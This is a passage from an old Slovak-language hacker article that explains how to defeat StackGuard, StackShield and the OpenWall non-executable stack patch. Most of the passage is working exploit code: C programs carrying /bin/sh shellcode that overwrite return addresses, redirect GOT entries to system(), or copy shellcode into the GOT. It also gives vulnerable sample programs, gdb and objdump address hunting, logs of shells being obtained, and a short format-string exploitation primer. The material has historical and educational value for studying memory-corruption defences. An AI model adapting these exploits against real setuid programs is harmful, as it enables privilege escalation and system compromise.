Ako vidime, najjednoduchsi sposob exploitovania by bol prepisanim nasho lokalneho bufra az po hodnotu navratovej adresy. To ale nebude mozne, nakolko predpokladame, ze system je chraneny StackGuardom. Najjednoduchsi sposob ale nemusi byt vzdy najlepsi. Co tak modifikovat hodnotu 'p' pointra? Druhym (uz bezpecnym - aspon, co sa tyka kontrolovania hranic) strncpy() mozeme tym padom pristupovat hocikde do pamate. Co sa stane, ak p nasmerujeme na nasu navratovu adresu v zasobniku? Jednoducho prepiseme navratovu adresu bez toho aby sme poskodili nase "canary" slovo.

Co teda potrebujeme na to, aby sa nam utok vydaril?

Dost specificke kriteria, ktore nemusia byt vacsinou zranitelnych programov splnene - v tom pripade su aj napriek roznym overflowom programom StackGuard uplne chranene. V poslednej dobe su velmi popularne overflowy cez formatovacie chyby - ukazeme si ake jednoduche je vyuzit/zneuzit tento druh chyby. Napriklad vo wu-ftpd 2.5 existuje mapped_path bug, kedy overflovanim mapped_path bufra sme schopni zmenit hodnoty Argv a LastArg pointrov pouzivanych v setproctitle(), kedy mozeme modifikovat lubovolnu cast pamate procesu. Formatovacie chyby, ktore sa daju zneuzit podobnym sposobom sa nachadzali v case pisania tohto clanku v poslednych verziach wu-ftpd 2.6.0 a proftpd 1.2.0pre9. To vsetko hovori v prospech sofistikovanym data overflowom.

/* Example exploit no. 1 (c) by Lam3rZ 1999 :) */

char shellcode[] =
    "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
    "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
    "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
    "\xff\xff/bin/sh";
char addr[5]="AAAA\x00";

char buf[36];
int * p;

main() {
    memset(buf,'A',32);
    p = (int *)(buf+32);
    *p=0xbffffeb4;	//  <<== ukazuje na adresu navratovej hodnoty
    p = (int *)(addr);
    *p=0xbfffff9b;	//  <<== nova navratova hodnota

    execle("./vul",shellcode,buf,addr,0,0);
}
Na StackGuardovanom RH 5.2 Linuxe to vyzera:
    [root@sg StackGuard]# ./ex
    p=bffffec4       -- before 1st strcpy
    p=bffffeb4       -- after 1st  strcpy
    bash#
Na mojom Mandraku 7.0 (kernel 2.4.0 test6) to dopadlo:
[wilder@acheron wilder]$ ./ex
p=bffffe44       -- before 1st strcpy
p=bffffe70       -- after 1st  strcpy
After second strcpy ;)
sh-2.03$

Adresa novej navratovej adresy (0xbfffff9b) ukazuje na argv[0] funkcie main() v zasobniku a mala by byt na vsetkych linuxoch rovnaka - zavisi len od mnozstva a dlzky argumentov vlozenych z prikazoveho riadka. Do argv[0] hodime cely nas shellcode -> shellcode sa vykonava na zasobniku - v pripade, ze ta irituje openwall antiexecutable stack patch, tak preskoc par stran tohto dokumentu :-) Adresa navratovej hodnoty (0xbffffe70) sa vztahuje na moju konfiguraciu, pri jej hladani treba mat na zreteli dlzky vstupnych argv argumentov, od ktorych zavisi, resp. pouzit set args v gdb a pracovat so skutocnymi argumentami. Prvym strcpy() prepiseme pointer p, druhy strncpy() nam skopiruje novu navratovu adresu, takze pri najblizsom navrate (RET) sa vykona nas shellcode. Tato technika spolahlivo funguje proti (staremu) StackGuardu, proti sekundarnemu zasobniku StackShieldu je neuspesna.

Modifikacia GOT

GOT alebo tiez Global Offset Table konecnu tabulku offsetov volanych funkcii pred dany proces.

[wilder@acheron wilder]$ objdump --dynamic-reloc vul

vul:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
0804969c R_386_GLOB_DAT    __gmon_start__
08049680 R_386_JUMP_SLOT   execl
08049684 R_386_JUMP_SLOT   __register_frame_info
08049688 R_386_JUMP_SLOT   __deregister_frame_info
0804968c R_386_JUMP_SLOT   __libc_start_main
08049690 R_386_JUMP_SLOT   printf
08049694 R_386_JUMP_SLOT   strncpy
08049698 R_386_JUMP_SLOT   strcpy
Pozrime si opat nas chybny program:
        printf ("p=%x\t -- pred prvym strcpy\n",p);
        strcpy(p,argv[1]);
        printf ("p=%x\t -- po prvom  strcpy\n",p);
        strncpy(p,argv[2],16);
        printf("Po druhom strcpy :)\n");

Co tak nastavit pointer p tak, aby sme dalsim strncpy prepisali kniznicne volanie funkcie printf argumentom argv[2] ? Jednoduche - vsetko, co potrebujeme je prepisat GOT funkcie printf() libc adresou funkcie system(), tym padom hned po vykonani strncpy namiesto printf vykoname system ("Po druhom strcpy :)\n");
Na ziskanie adresy GOT pouzijeme objdump, alebo si disassemblujeme PLT (Procedure Linkage Table) volania printf().

(gdb) x/2i printf
0x804838c :     jmp    *0x8049690 <- adresa printf() v GOT
0x8048392 :   push   $0x20

printf() GOT polozku (0x8049690) teda mame a vsetko, co potrebujeme je 
ulozit libc system() adresu na tuto poziciu - 0x8049690. Adresu nasej adresy
system() mozeme vypocitat ako : magic_value + 0x38d90, kde 0x38d90 je  offset
__libc_system v libc kniznici :

[wilder@acheron wilder]$ nm /lib/libc.so.6 | grep system
00038d90 T __libc_system
000c22ac T svcerr_systemerr
00038d90 W system
Magic_value predstavuje adresu, odkial sa mapuje libc.so.6 do pamate pre dany proces. Na stackguardovanom RH 5.2 tato hodnota bola 0x4004400, na mojom mendrejku to bola hodnota 0x40019000.
Na systemoch so Solarovym patchom absentuje predcislie 0x40, ktore je nahradene blbou 0x00, co v konecnom dosledku sposobi prerusenie nasho retazca.
3ex3.c :

char *env[3]={"PATH=.",0};
char shellcode[] =
    "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
    "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
    "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
    "\xff\xff/bin/sh";
char addr[5]="AAAA\x00";
char buf[46];
int * p;

main() {
    memset(buf,'A',36);
    p = (int *)(buf+32);
    *p++=0x8049690;	 //  <== printf() GOT adresa
    p = (int *)(addr);
    *p=0x40019000 + 0x38d90;//  <<== adresa of libc system()
    printf("Exec code from %x\n",*p);
    execle("./vul",shellcode,buf,addr,0,env);
}

[wilder@acheron wilder]$ ./3ex3
Exec code from 40051d90
p=bffffe34       -- before 1st strcpy
p=8049690        -- after 1st  strcpy
sh: -c: line 1: syntax error near unexpected token `;)'
sh: -c: line 1: `After second strcpy ;)'
sh: End: command not found
Zjavne to nefunguje. Najskor to bude tym, ze parametre printf() volaniu system() zjavne nic nehovoria :) Neostava nic ine, ako vytvorit vhodny nazov scriptu volajuci sa rovnako, ako vstupny argument nasho modifikovaneho printf, ktory sa nasim volanim system() veselo spusti. Samozrejme exploitovany suid program musi mat moznost spustat subory z nasho pracovneho adresara. Niekedy je lepsie prepisat GOT inej funkcie ako akurat printf(),napriklad takej, ktora berie ako vstup uzivatelsky definovany argument.
(gdb) disas __libc_system  
Dump of assembler code for function __libc_system:
0x40051d90 <__libc_system>:     push   %ebp
0x40051d91 <__libc_system+1>:   mov    %esp,%ebp
0x40051d93 <__libc_system+3>:   sub    $0x2cc,%esp
...
..
Do ebp sa ulozi adresa zasobnika (esp) so vsetkymi vstupnymi parametrami volanej funkcie __libc_system (). V pripade, ze by sme skocili na adresu __libc_system+3, tak sa nam ebp nenastavi podla esp, tym padom o vstupnych argumentoch (a ich poradi) funkcie system() bude rozhodovat len hodnota ebp v okamihu volania __libc_system (), ktorou vhodnou modifikaciou sme schopni zamenit poradie vyberanie pointerov zo zasobnika (cez ebp) pre funkciu system a ebp nastavit tak, ze sa vyberie pointer nachadzajuci sa napriklad v nasom overflowujucom retazci (a[]) ukazujuci na nas "/bin/sh". Takze zdanlivo priamociare vstupne argumenty system() arg1 arg2... mozu byt spracovane uplne inym sposobom.
Prepisovanie GOT uspesne funguje proti StackGuardu, StackShieldu a OpenWall anti-executable stack patchu.

Exploitovanie formatovacich chyb (velmi strucna teoria)

Samotna myslienka je jednoducha - pri volani *printf() funkcie uzivatelskym vstupom ovplyvnujeme formatovaci retazec (napriklad printf(char *fmt, ...)) Uzivatel moze do formatovaceho retazca vlozit znaky %s %p %x, *printf() ich potom zkonvertuje do prislusnych argumentov. Argumenty sa podla formatovaceho retazca postupne vyberaju zo zasobnika. Nazornejsie to uvidime na priklade:

vul3.c :

#include 

blaat(char *fmt, ...)
{
	va_list	va;
	int	i;
	char	*addr;

	va_start(va,fmt);

	printf ("---| argumenty na zasobniku | ---\n");
	for (i = 0; i < 5; i++)
	{
		addr = va_arg(va, char *);
		printf("%p\n",addr);
	}
	va_end(va);
}

main(int argc, char **argv)
{
	char buf[8];
	char *port = (char*) 0x12345678;

	strncpy(buf, argv[1],8);

	blaat(argv[1]);
	printf(argv[1]);
	putchar('\n');
}

[wilder@acheron wilder]$ ./vul3 pokus
---| argumenty na zasobniku | ---
0xbffffb24
0x8
0x80495e8
0x80496b0
0xbffff998
pokus

Po zadani jednoducheho argumentu (pokus) sa nam zobrazilo 5 argumentov (unsigned long int) na vrchole zasobnika. Adresa 0xbffffb24 je ukazovatel na argv[1] (retazec "pokus"). Vystup nasho printf() je len nas samotny vstupny argument. Skusime pouzit %p vo vstupnom argumente:

[wilder@acheron wilder]$ ./vul3 pokus%p
---| argumenty na zasobniku | ---
0xbffffb22
0x8
0x8049634
0x80496fc
0xbffff998
pokus0xbffffb22
Vystup printf() je v tomto pripade zaujimavy, znak %p bol nahradeny prvou hodnotou z vrcholu zasobnika (0xbffffb22). Pridavanim dalsich znakov %p mozeme vypisat vsetky polozky v zasobniku. Podobny efekt dosiahneme pridavanim znakov %c, %f, %d, %s, %p, %i, %n atd, kedy sa zo zasobnika postupne vybera 1 bajt, 8 bajtov, 4 bajty, retazec po najblizsiu \0 a podobne. %n je najviac zaujimavy, zapise mnozstvo doposial vypisanych znakov na adresu, na ktoru ukazuje argument.
int q;
printf("AAAA%n",&q);
Po tejto operacii sa q = 4. Ukazovatel na premennu sa da ziskat zo vstupnych parametrov *printf(), modifikaciou tejto hodnoty sme schopni vzdy transformovanu hodnotu %n zapisat prakticky na lubovolnu adresu v zasobniku. Staci si len vytvorit vhodny generovaci retazec, pri ktorom *printf() transformuje hodnoty %n%n%n%n na nasu zvolenu navratovu adresu, ktora sa vyberie napriklad pri najblizsom navrate z procedury. Modifikovat samozrejme nemusime len navratove adresy, ale aj ostatne dolezite premenne v zasobniku podla vhodnosti situacie.
Pomocou formatovacich retazcov sme schopni prezerat/prehladavat prakticky cely obsah zasobnika - idealne na presne stanovenie zasobnikovych ramcov pre jednotlive volane urovne procedur, navratovych adries procedur, main() zvonku (vsetko remotne :-) ! Tym padom po zohladneni tychto veci sme schopni priviest nas remote exploit do uplneho sfunkcnenia bez "brute-force" skusania offsetov alebo zarovnavani.

Anti-executable stack patch Exploit

Co v pripade, ze sa nachadzame na skaredom systeme so Solarovym patchom (OpenWall project) ? Zasobnik je nonexecutable, teda nemozeme modifikovat GOT tak, aby ukazoval na shellcode umiestneny v nom a sucasne kniznice su mapovane od velmi divnych adries (s prefixom 0x00). Ficime na x86 systeme a oblasti s moznostou vykonanie (execute) je cela kopa:

[wilder@acheron 2009]$ cat /proc/2009/maps
08048000-08049000 r-xp 00000000 03:01 40822      /home/wilder/vul  <- nasa PLT
08049000-0804a000 rw-p 00000000 03:01 40822      /home/wilder/vul  <- nasa GOT
40000000-40012000 r-xp 00000000 03:01 114260     /lib/ld-2.1.2.so
40012000-40013000 rw-p 00011000 03:01 114260     /lib/ld-2.1.2.so
40013000-40014000 rw-p 00000000 00:00 0
40019000-400f7000 r-xp 00000000 03:01 114266     /lib/libc-2.1.2.so
400f7000-400fb000 rw-p 000dd000 03:01 114266     /lib/libc-2.1.2.so
400fb000-400ff000 rw-p 00000000 00:00 0
bfffe000-c0000000 rwxp fffff000 00:00 0	          <- nas vykonatelny zasobnik
GOT vyzera, ze je non-executable - to ale vobec nie je pravda! Dobry Intel dokaze vykonat lubovolny kod v GOT! Vsetko, co nam chyba ku stastiu, je nakopirovat tam nas shellcode a modifikovat prislusnu GOT adresu. Samozrejme shellcode musi byt dostatocne kratky, aby sa nam tam zmestil a sucasne si musime dat pozor, aby sme nemodifikovali nim GOT adresy funkcie, ktora nam ho spusti. Dalsi problem, ktory moze nastat je so signalmi. Handler signalu moze zavolat funkciu uz z poskodenym GOT (nasim shellcodom) a cele to zlyha. Je preto dobre preflaknut shellcodom GOT funkcii, ktore sa nevolaju ziadnym signal handlerom, resp. k volaniu vobec nepride.
vul2.c:

char global_buf[64];

int f (char *string, char *dst)
{
        char a[64];

        printf ("dst=%x\t -- pred prvym strcpy\n",dst);
        printf ("string=%x\t -- pred prvym strcpy\n",string);
        strcpy(a,string);
        printf ("dst=%x\t -- za prvym strcpy\n",dst);
        printf ("string=%x\t -- za prvym strcpy\n",string);

	    // nejaky kod pozivajuci nase vstupne retazce

        strncpy(dst,a,64);
        printf("dst=%x\t -- po druhom strcpy :)\n",dst);
}

main (int argc, char ** argv) {

        f(argv[1],global_buf);
        printf("Koniec programu\n");
}
V uvedenom priklade mame nas cielovy pointer (dst) ulozeny na zasobniku za "canary" slovom a navratovou adresou funkcie, teda ho nemozeme zmenit bez toho, aby sme prepisali "canary" slovo a tym padom neboli chyteni.
Alebo sa to da?
StackGuard aj StackShield si kontroluje (potencialne) zmenenu navratovu adresu funkcie az v okamihu, ked sa program z funkcie vracia (RET) - to plati pre kazdu ochranenu funkciu. Vo vacsine pripadoch mame dost casu na to, aby sme prevzali beh programu predtym ako sa samotna kontrola (StackGuardu) navratovej adresy vykona.
Mozeme to spravit prepisanim GOT adresy kniznicnej funkcie, ktora bude v nasej procedure volana este pred navratom z funkcie (RET) - tym padom nas hodnota "canary" vobec nezaujima, nakolko si spustime shellcode este pred tym, ako StackGuard vykona akukolvek kontrolu!

A zasluzeny explotik ex4.c:

char shellcode[] = // 48 chars :)
    "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
    "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
    "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
    "\xff\xff/bin/sh";

char buf[100];
int * p;

main() {
    memset(buf,'A',100);
    memcpy(buf+4,shellcode,48);
    p = (int *)(buf+76);    // <=- offset druheho argumentu funkcie f() v zasobniku [ dest ]
    *p=0x080496d4;	    //  <<== GOT adresa printf

    p= (int *)(buf);
    *p=0x080496d4+4;	    //  <<== GOT adresa of printf+4, kde bude nakopirovany shellcode

    execle("./vul2","vul2",buf,0,0);
}
U mna sa to spravalo asi takto:
[wilder@acheron wilder]$ ./ex4
dst=80497c0      -- pred prvym strcpy
string=bfffff90  -- pred prvym strcpy
dst=80496d4      -- za prvym strcpy
string=41414141  -- za prvym strcpy
sh-2.03$
Nase mile adresy a offsety do exploitu najdeme jednoducho:
[wilder@acheron wilder]$ gdb ./vul2
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux"...
(gdb) b main
Breakpoint 1 at 0x80484f2: file vul2.c, line 21.
(gdb) r
Starting program: /home/wilder/./vul2 

Breakpoint 1, main (argc=1, argv=0xbffff9b4) at vul2.c:21

21              f(argv[1],global_buf);
(gdb) s
f (string=0x0, dst=0x80497c0 "") at vul2.c:7
7               printf ("dst=%x\t -- pred prvym strcpy\n",dst);
(gdb) x a
0xbffff8ec:     0x40012eb0
(gdb) x &dst
0xbffff938:     0x080497c0

0xbffff938 - 0xbffff8ec = 0x4c = 76  --> to je bajtovy rozdiel medzi zaciatkom
pola a[] na zasobniku a ulozenym druhym parametrom dst funkcie f() v zasobniku

 [wilder@acheron wilder]$ objdump --dynamic-reloc vul2

vul2:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
080495dc R_386_GLOB_DAT    __gmon_start__
080495c8 R_386_JUMP_SLOT   __register_frame_info
080495cc R_386_JUMP_SLOT   __deregister_frame_info
080495d0 R_386_JUMP_SLOT   __libc_start_main
080495d4 R_386_JUMP_SLOT   printf            < = GOT adresa nasho printf()
080495d8 R_386_JUMP_SLOT   strcpy
Tento posledny druh utoku sa mi paci najviac - umiestnenie shellcodu do GOT tabulky s naslednou modifikaciou GOT adresy nasledne volanej funkcie - jednoduche a odolne voci :
-- StackGuardu - "canary" slovo nas vobec nezaujima, pretoze nedojde ani k jeho kontrole a tym padom ochrana StackGuardu je neucinna
-- StackShield - epilog na konci volanej funkcie sa nestihne vyvolat a tym padom nakopirovat spravnu navratovu adresu z chranenej tabulky navratovych adries a tym padom ochrana StackShieldu je neucinna
-- Anti-executable stack patch - shellcode nevykonavame na zasobniku a sucasne nemodifikujeme adresy libc funkcii (s prefixom 0x00, co by nam prerusilo nas kopirovany retazec), tym padom patch nijako neovplyvnuje uspesnost exploitu

Zaver

Hah, zase hore uvedene programy nie su az take neucinne - uvedeny typ zranitelneho programu bol dost specificky - treba si uvedomit, ze ziadna z tychto ochran nepredstavuje uplne bezpecnostne riesenie.
To, ze neexistuje sofistikovanejsi exploit na danu chybu odolnejsi voci uvedenym ochranam, neznamena, ze sa neda napisat.
StackGuard, StackShield aj OpenWall anti-executable stack patch stale predstavuju 70-90%-ne riesenie voci klasickym zasobnikovym overflowom. Vzhladom k tomu, ze mnozstvo sucasnych aplikacii zacina byt odolne voci primitivnym zasobnikovym overflowom, bezpecnostne audity coraz viac odhaluju ovela komplexnejsie chyby, ktore sa musia exploitovat sofistikovanejsim sposobom, ktory je velakrat odolny voci jednoduchym ochranam tychto bezpecnostnych programov.

Addendum

Pouzity SW: Mandrake 7.0, kernel 2.4.0 test6, gcc 2.95, gdb 5.0, biew 5.1.2
Pouzita hudba: Lifeforms (FSOL), Virgin Suicides (Air), Med, Zive Kvety

Referencie

Bulba and Kil3r: Phrack56 (Bypassing Stackguard and Stackshield)
Crispin Cowan: http://www.immunix.org/documentation.html
Taneli Huuskonen: Exploits-devel articles
Lamagra: Format Bugs
Pascal Bouchareine: More info on Format Bugs

wilder, wilder(at)hq.sk

navrat na obsah
co ty na to ? board